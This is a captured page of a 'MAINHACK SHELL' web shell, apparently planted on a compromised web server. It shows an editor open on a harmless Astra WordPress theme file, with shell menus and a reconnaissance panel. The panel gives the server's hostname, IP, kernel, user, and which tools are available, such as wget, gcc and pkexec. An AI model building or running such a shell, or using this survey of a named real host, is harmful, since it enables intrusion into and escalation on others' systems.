[
MAINHACK SHELL
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: navigation.php
<?php /** * Post Navigation - Dynamic CSS * * @package Astra * @since 4.6.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } add_filter( 'astra_dynamic_theme_css', 'astra_navigation_css', 11 ); /** * Post Navigation - Dynamic CSS * * @param string $dynamic_css Astra Dynamic CSS. * @return String Generated dynamic CSS for Post Navigation. * * @since 4.6.0 */ function astra_navigation_css( $dynamic_css ) { $mobile_breakpoint = strval( astra_get_mobile_breakpoint() ); $link_hover_color = astra_get_option( 'link-h-color' ); $navigation_css = ' .single .post-navigation a p { margin-top: 0.5em; margin-bottom: 0; text-transform: initial; line-height: 1.65em; font-weight: normal; } .single .post-navigation a .ast-post-nav { font-weight: 600; display: block; text-transform: uppercase; font-size: 0.85em; letter-spacing: 0.05em; } .single .post-navigation a svg { top: .125em; width: 1em; height: 1em; position: relative; fill: currentColor; } .page-links .page-link:hover, .single .post-navigation a:hover { color: ' . esc_attr( $link_hover_color ) . '; } @media( min-width: 320px ) { .single .post-navigation .nav-previous a { text-align: left; padding-right: 20px; } .single .post-navigation .nav-next a { text-align: right; padding-left: 20px; } .comment-navigation .nav-previous:after, .post-navigation .nav-previous:after { position: absolute; content: ""; top: 25%; right: 0; width: 1px; height: 50%; background: var(--ast-single-post-border, var(--ast-border-color)); } } @media( max-width: ' . $mobile_breakpoint . 'px ) { .single .post-navigation .nav-links { -js-display: inline-flex; display: inline-flex; width: 100%; padding-left: 20px; padding-right: 20px; } .single .post-navigation a p { display: none; } .single .post-navigation .nav-previous { margin-bottom: 0; } } @media( min-width: 421px ) { .single .post-navigation a { max-width: 80%; width: 100%; } .post-navigation a { font-weight: 500; font-size: 16px; } } '; // rtl css for post navigation. if ( is_rtl() ) { $navigation_css .= ' @media( min-width: 320px ) { .single .post-navigation .nav-previous a { text-align: start; } .single .post-navigation .nav-next a { text-align: end; } } @media( max-width: ' . $mobile_breakpoint . 'px ) { .single .post-navigation .nav-links { padding-left: 0px; padding-right: 0px; } } '; } $dynamic_css .= Astra_Enqueue_Scripts::trim_css( $navigation_css ); return $dynamic_css; }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server.isorus.org
Server IP: 159.223.142.74
PHP Version: 7.4.33
Server Software: Apache
System: Linux server.isorus.org 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
HDD Total: 319.99 GB
HDD Free: 215.78 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
Off
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: inceptionblue
User ID (UID): 1042
Group ID (GID): 1043
Script Owner UID:
Current Dir Owner: 1042